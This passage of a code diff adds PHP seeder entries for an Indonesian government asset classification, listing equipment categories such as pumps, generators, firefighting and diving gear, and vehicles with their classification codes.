'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ELECTRIC GENERATING SET', + ], + [ + 'id_aset' => 549, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSPORTABLE GENERATING SET', + ], + [ + 'id_aset' => 550, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'PORTABLE GENERATING SET', + ], + [ + 'id_aset' => 551, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'STATIONARY GENERATING SET', + ], + [ + 'id_aset' => 552, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'DYNAMO ELECTRIC', + ], + [ + 'id_aset' => 553, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ELECTRIC GENERATING SET LAINNYA', + ], + [ + 'id_aset' => 554, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'POMPA', + ], + [ + 'id_aset' => 555, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSPORTABLE WATER PUMP', + ], + [ + 'id_aset' => 556, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'PORTABLE WATER PUMP', + ], + [ + 'id_aset' => 557, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'STATIONARY WATER PUMP', + ], + [ + 'id_aset' => 558, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'POMPA LUMPUR', + ], + [ + 'id_aset' => 559, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'SUMERSIBLE PUMP', + ], + [ + 'id_aset' => 560, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'POMPA TANGAN', + ], + [ + 'id_aset' => 561, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'POMPA ANGIN', + ], + [ + 'id_aset' => 562, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'POMPA BENSIN/MINYAK STATIONERY', + ], + [ + 'id_aset' => 563, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'POMPA BENSIN/MINYAK TRANSPORTABLE', + ], + [ + 'id_aset' => 564, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'POMPA AIR', + ], + [ + 'id_aset' => 565, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'WATER DISTRIBUTOR', + ], + [ + 'id_aset' => 566, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'WATER PURIFICATION', + ], + [ + 'id_aset' => 567, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'POMPA LAINNYA', + ], + [ + 'id_aset' => 568, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'MESIN BOR', + ], + [ + 'id_aset' => 569, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN BOR BATU', + ], + [ + 'id_aset' => 570, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN BOR TANAH', + ], + [ + 'id_aset' => 571, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN BOR BETON', + ], + [ + 'id_aset' => 572, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'MESIN BOR LAINNYA', + ], + [ + 'id_aset' => 573, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'UNIT PEMELIHARAAN LAPANGAN', + ], + [ + 'id_aset' => 574, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'MOBIL WORKSHOP', + ], + [ + 'id_aset' => 575, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'SERVICE CAR', + ], + [ + 'id_aset' => 576, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'FLOATING WORKSHOP', + ], + [ + 'id_aset' => 577, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'ROAD MAINTENANCE TRUCK', + ], + [ + 'id_aset' => 578, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'SWEEPER TRUCK', + ], + [ + 'id_aset' => 579, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '006', + 'nama' => 'WRECK CAR', + ], + [ + 'id_aset' => 580, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '007', + 'nama' => 'LEAK DETECTOR (UNIT PEMELIHARAAN LAPANGAN)', + ], + [ + 'id_aset' => 581, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '008', + 'nama' => 'PIPE LOCATOR', + ], + [ + 'id_aset' => 582, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '009', + 'nama' => 'METAL LOCATOR', + ], + [ + 'id_aset' => 583, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN DIESEL', + ], + [ + 'id_aset' => 584, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '011', + 'nama' => 'KETLE HEATING', + ], + [ + 'id_aset' => 585, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '012', + 'nama' => 'SWEEPER PENGHISAP OLI', + ], + [ + 'id_aset' => 586, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '013', + 'nama' => 'FUEL TANK', + ], + [ + 'id_aset' => 587, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '014', + 'nama' => 'GRASS COLECTOR', + ], + [ + 'id_aset' => 588, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '015', + 'nama' => 'MESIN PEMOTONG ASPAL (DRAGING)', + ], + [ + 'id_aset' => 589, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '016', + 'nama' => 'SWEEPER ROTARY', + ], + [ + 'id_aset' => 590, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '017', + 'nama' => 'EARTH VAGER TRUCK', + ], + [ + 'id_aset' => 591, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '018', + 'nama' => 'SCRAPPER', + ], + [ + 'id_aset' => 592, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '019', + 'nama' => 'ROSTER', + ], + [ + 'id_aset' => 593, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '020', + 'nama' => 'SHOP TRUCK EQUIPMENT', + ], + [ + 'id_aset' => 594, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'UNIT PEMELIHARAAN LAPANGAN LAINNYA', + ], + [ + 'id_aset' => 595, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN AIR KOTOR', + ], + [ + 'id_aset' => 596, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PENGOLAHAN AIR KOTOR', + ], + [ + 'id_aset' => 597, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 598, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'PEMBANGKIT UAP AIR PANAS/STEAM GENERATOR', + ], + [ + 'id_aset' => 599, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMBANGKIT UAP AIR PANAS', + ], + [ + 'id_aset' => 600, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'PEMBANGKIT UAP AIR PANAS/STEAM GENERATOR LAINNYA', + ], + [ + 'id_aset' => 601, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KEBAKARAN HUTAN', + ], + [ + 'id_aset' => 602, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '001', + 'nama' => 'BACKPACK PUMP (POMPA PUNGGUNG BESAR)', + ], + [ + 'id_aset' => 603, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '002', + 'nama' => 'FLOATING FIRE PUMP (POMPA PUNGGUNG KECIL)', + ], + [ + 'id_aset' => 604, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '003', + 'nama' => 'POMPA PORTABLE', + ], + [ + 'id_aset' => 605, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '004', + 'nama' => 'JET SHOOTER', + ], + [ + 'id_aset' => 606, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '005', + 'nama' => 'GOLOK PEMADAM', + ], + [ + 'id_aset' => 607, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '006', + 'nama' => 'BLADE SHOVEL (SEKOP PEMADAM)', + ], + [ + 'id_aset' => 608, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '007', + 'nama' => 'SUMBUT', + ], + [ + 'id_aset' => 609, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '008', + 'nama' => 'VELD BED', + ], + [ + 'id_aset' => 610, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '009', + 'nama' => 'RANSEL PEMADAM', + ], + [ + 'id_aset' => 611, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '010', + 'nama' => 'FULL BODY HARNESS', + ], + [ + 'id_aset' => 612, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '011', + 'nama' => 'SIT HARNESS', + ], + [ + 'id_aset' => 613, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '012', + 'nama' => 'FIGURE', + ], + [ + 'id_aset' => 614, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '013', + 'nama' => 'ASCENDER', + ], + [ + 'id_aset' => 615, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '014', + 'nama' => 'SCROLL LOCK', + ], + [ + 'id_aset' => 616, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '015', + 'nama' => 'PERLENGKAPAN RESCUE', + ], + [ + 'id_aset' => 617, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '016', + 'nama' => 'AUTOMATIC SNAP HOOK', + ], + [ + 'id_aset' => 618, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '017', + 'nama' => 'TANGGA TALI', + ], + [ + 'id_aset' => 619, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '018', + 'nama' => 'NOZEL TABIR ALUMUNIUM', + ], + [ + 'id_aset' => 620, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '019', + 'nama' => 'NOZEL KUNINGAN PERNEKEL', + ], + [ + 'id_aset' => 621, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '020', + 'nama' => 'SELANG AIR', + ], + [ + 'id_aset' => 622, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '021', + 'nama' => 'BREATHING APARATUS (TABUNG 10 KG)', + ], + [ + 'id_aset' => 623, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '022', + 'nama' => 'GEPYOK PEMADAM', + ], + [ + 'id_aset' => 624, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '023', + 'nama' => 'FIRE RAKE (GARU TAJAM)', + ], + [ + 'id_aset' => 625, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '024', + 'nama' => 'PULASKI AXE (KAPAK DUA FUNGSI)', + ], + [ + 'id_aset' => 626, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '025', + 'nama' => 'FIRE TOOL (GARU PACUL/ CANGKUL)', + ], + [ + 'id_aset' => 627, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '026', + 'nama' => 'SABIT SEMAK', + ], + [ + 'id_aset' => 628, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '027', + 'nama' => 'FLAPPER (PEMUKUL API)', + ], + [ + 'id_aset' => 629, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '028', + 'nama' => 'DRIP TORCH (OBOR SULUT TETES)', + ], + [ + 'id_aset' => 630, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '029', + 'nama' => 'FILES (KIKIR BAJA)', + ], + [ + 'id_aset' => 631, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '030', + 'nama' => 'KACA MATA (LENSA TAHAN PANAS)', + ], + [ + 'id_aset' => 632, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '031', + 'nama' => 'KOPEL REM', + ], + [ + 'id_aset' => 633, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '032', + 'nama' => 'FELPES', + ], + [ + 'id_aset' => 634, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '033', + 'nama' => 'KANTONG AIR', + ], + [ + 'id_aset' => 635, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '034', + 'nama' => 'BATANG POMPA', + ], + [ + 'id_aset' => 636, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN KEBAKARAN HUTAN LAINNYA', + ], + [ + 'id_aset' => 637, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN SELAM', + ], + [ + 'id_aset' => 638, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANKS (TABUNG SELAM)', + ], + [ + 'id_aset' => 639, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '002', + 'nama' => 'SEPATU KARANG', + ], + [ + 'id_aset' => 640, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '003', + 'nama' => 'KNIVES (PISAU SELAM)', + ], + [ + 'id_aset' => 641, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '004', + 'nama' => 'DIVE LIGHTS (SENTER SELAM)', + ], + [ + 'id_aset' => 642, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '005', + 'nama' => 'REGULATOR INSTRUMENTS', + ], + [ + 'id_aset' => 643, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '006', + 'nama' => 'BOUYANCY COMPENSATOR DEVICE (BCD)', + ], + [ + 'id_aset' => 644, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '007', + 'nama' => 'BELT (SABUK PEMBERAT)', + ], + [ + 'id_aset' => 645, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '008', + 'nama' => 'WEIGHT (PEMBERAT)', + ], + [ + 'id_aset' => 646, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '009', + 'nama' => 'DIVING GLOVES (SARUNG TANGAN SELAM)', + ], + [ + 'id_aset' => 647, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '010', + 'nama' => 'KOMPRESOR SELAM', + ], + [ + 'id_aset' => 648, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '011', + 'nama' => 'PELAMPUNG LIFE JACKET', + ], + [ + 'id_aset' => 649, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '13', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN SELAM LAINNYA', + ], + [ + 'id_aset' => 650, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN SAR MOUNTENERING', + ], + [ + 'id_aset' => 651, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '001', + 'nama' => 'TALI KAMANTEL STATIC', + ], + [ + 'id_aset' => 652, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '002', + 'nama' => 'TALI KAMANTEL DINAMIC', + ], + [ + 'id_aset' => 653, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '003', + 'nama' => 'RAINCOAT (PONCO)', + ], + [ + 'id_aset' => 654, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '004', + 'nama' => 'SEAT HARNESS', + ], + [ + 'id_aset' => 655, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '005', + 'nama' => 'PRUSIK', + ], + [ + 'id_aset' => 656, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '006', + 'nama' => 'JUMMAR', + ], + [ + 'id_aset' => 657, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '007', + 'nama' => 'PULLEY', + ], + [ + 'id_aset' => 658, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '008', + 'nama' => 'DESCENDER FIGURE OG EIGHT', + ], + [ + 'id_aset' => 659, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '009', + 'nama' => 'CARABINER NON SCREW', + ], + [ + 'id_aset' => 660, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '010', + 'nama' => 'WEBBING', + ], + [ + 'id_aset' => 661, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANDU LIPAT', + ], + [ + 'id_aset' => 662, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '14', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN SAR MOUNTENERING LAINNYA', + ], + [ + 'id_aset' => 663, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BANTU LAINNYA', + ], + [ + 'id_aset' => 664, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT BANTU LAINNYA', + ], + [ + 'id_aset' => 665, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN', + ], + [ + 'id_aset' => 666, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN DARAT BERMOTOR', + ], + [ + 'id_aset' => 667, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN DINAS BERMOTOR PERORANGAN', + ], + [ + 'id_aset' => 668, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'SEDAN', + ], + [ + 'id_aset' => 669, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'JEEP', + ], + [ + 'id_aset' => 670, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'STATION WAGON', + ], + [ + 'id_aset' => 671, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN DINAS BERMOTOR PERORANGAN LAINNYA', + ], + [ + 'id_aset' => 672, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN BERMOTOR PENUMPANG', + ], + [ + 'id_aset' => 673, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'BUS ( PENUMPANG 30 ORANG KEATAS )', + ], + [ + 'id_aset' => 674, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICRO BUS ( PENUMPANG 15 S/D 29 ORANG )', + ], + [ + 'id_aset' => 675, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'MINI BUS ( PENUMPANG 14 ORANG KEBAWAH )', + ], + [ + 'id_aset' => 676, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'KENDARAAN LAPIS BAJA', + ], + [ + 'id_aset' => 677, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN BERMOTOR PENUMPANG LAINNYA', + ], + [ + 'id_aset' => 678, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN BERMOTOR ANGKUTAN BARANG', + ], + [ + 'id_aset' => 679, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRUCK + ATTACHMENT', + ], + [ + 'id_aset' => 680, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'PICK UP', + ], + [ + 'id_aset' => 681, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'YEENGLER/TRAILER', + ], + [ + 'id_aset' => 682, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SEMI TRAILER', + ], + [ + 'id_aset' => 683, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'TRUCK PONTON DENGAN TRAILLER', + ], + [ + 'id_aset' => 684, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 